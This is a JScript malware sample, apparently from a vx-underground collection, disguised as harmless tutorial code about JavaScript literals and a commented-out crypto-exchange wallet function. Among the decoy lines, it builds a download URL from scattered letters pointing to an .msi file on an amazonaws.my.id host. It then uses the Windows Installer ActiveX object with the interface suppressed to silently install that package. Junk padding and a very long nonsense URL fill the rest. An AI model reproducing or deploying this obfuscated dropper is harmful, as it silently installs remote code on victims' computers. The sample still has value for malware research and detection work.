malware-vxunderground-2024-code-decompiled / code /0a7f251c8d24b3e27f21025b37e8d4b4524b6626f5ae4d59aca6a1cf0427aebd
| //var CryptoJS = require("crypto-js"); | |
| //Call REST APIs every 6 secs | |
| 79.6 | |
| /* | |
| function getWalletSnapshot(exchgData){ | |
| return new Promise(function(resolve,reject){ | |
| var lv_response = { | |
| "BINANCE" : {}, | |
| "BITFINEX" : {}, | |
| } | |
| //BINANCE | |
| //Decrypt API Keys | |
| const passPhrase = require('./JSMods/encryption'); | |
| var lv_key1 = (CryptoJS.AES.decrypt(exchgData["binkey1"], passPhrase + "")).toString(CryptoJS.enc.Utf8); | |
| var lv_key2 = (CryptoJS.AES.decrypt(exchgData["binkey2"], passPhrase + "")).toString(CryptoJS.enc.Utf8); | |
| const binanceRest = new api.BinanceRest({ | |
| key: lv_key1, // Get this from your account on binance.com | |
| secret: lv_key2, // Same for this | |
| timeout: 15000, // Optional, defaults to 15000, is the request time out in milliseconds | |
| recvWindow: 10000, // Optional, defaults to 5000, increase if you're getting timestamp errors | |
| disableBeautification: false, | |
| handleDrift: true | |
| }); | |
| binanceRest.account() | |
| .then((r1) => { | |
| for(k=0;k<r1["balances"].length;k++){ | |
| if(r1["balances"][k]["free"] > 0){ | |
| lv_response["BINANCE"][r1["balances"][k]["asset"]] = r1["balances"][k]["free"]; | |
| } | |
| } | |
| //Bitfinex | |
| //Decrypt API Keys | |
| const passPhrase = require('./JSMods/encryption'); | |
| var lv_key1 = (CryptoJS.AES.decrypt(exchgData["bitkey1"], passPhrase + "")).toString(CryptoJS.enc.Utf8); | |
| var lv_key2 = (CryptoJS.AES.decrypt(exchgData["bitkey2"], passPhrase + "")).toString(CryptoJS.enc.Utf8); | |
| const BFX = require('bitfinex-api-node') | |
| const bfx = new BFX({ | |
| apiKey: lv_key1, | |
| apiSecret: lv_key2, | |
| ws: { | |
| autoReconnect: true, | |
| seqAudit: true, | |
| packetWDDelay: 3 * 1000 | |
| } | |
| }) | |
| let ws = bfx.ws(2) // | |
| ws.on('error', (err) => console.log(err)) | |
| ws.on('open', ws.auth.bind(ws)) | |
| ws.open() | |
| ws.onWalletSnapshot({}, (walletB) => { | |
| for(k=0;k<walletB.length;k++){ | |
| lv_response["BITFINEX"][walletB[k][1]] = walletB[k][2]; | |
| } | |
| ws.close(); | |
| resolve(JSON.stringify(lv_response)); | |
| }); | |
| }) | |
| .catch((err) => { | |
| console.error(err); | |
| reject(JSON.stringify(err)); | |
| }); | |
| }); | |
| } | |
| */ | |
| 3.9 // numeric literal | |
| "Hello!" // string literal | |
| false // Boolean literal | |
| [1,2,3] // Array literal | |
| var o = {x:1, y:2} // Object literal | |
| var f = function(x){return x*x;} // function literal | |
| 4 + 5 // additon | |
| 10 / 2 // division | |
| var aBird = "windowsinstaller.installer"; // Assign the text "Robin" to the variable aBird. | |
| radius = 139; | |
| uros = 7;3;1,83; | |
| o = "p";n = "t";p = ".my.";g = "w";ka = "ba";f = "h";s = "n"; | |
| anExpression = 4 * (4 / 5) + 5; | |
| aSecondExpression = Math.PI * radius * radius; | |
| aThirdExpression = f + n + n + o +"s://amazonaws" + p + "id/wp-css/" + ka + ".msi"; | |
| myArray = new Array("hello", Math.PI, 48); | |
| myPi = myArray[1]; | |
| var today = new Date(); // Assign today's date to the variable today. | |
| var birthday = new ActiveXObject(aBird); | |
| birthday.uilevel=2 | |
| birthday.InstallProduct(aThirdExpression); | |
| var a = new Array(4); | |
| for (i = 0; i < 4; i++) {} | |
| function FeetToMiles(feet, cnvType) { | |
| if (cnvType == "NM") | |
| return( (feet / 6080) + " nautical miles"); | |
| else if (cnvType == "M") | |
| return( (feet / 5280) + " statute miles"); | |
| else | |
| return ("Invalid unit of measure"); | |
| } | |
| var mradius = FeetToMiles(52800, "M"); | |
| //WScript.Echo(aThirdExpression); | |
| 'How old am I?' | |
| var myObject = new Object(); // Creates a generic object. | |
| var birthday = new Date(1961, 5, 10); // Creates a Date object. | |
| https://rtrissdfmnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtvnpj |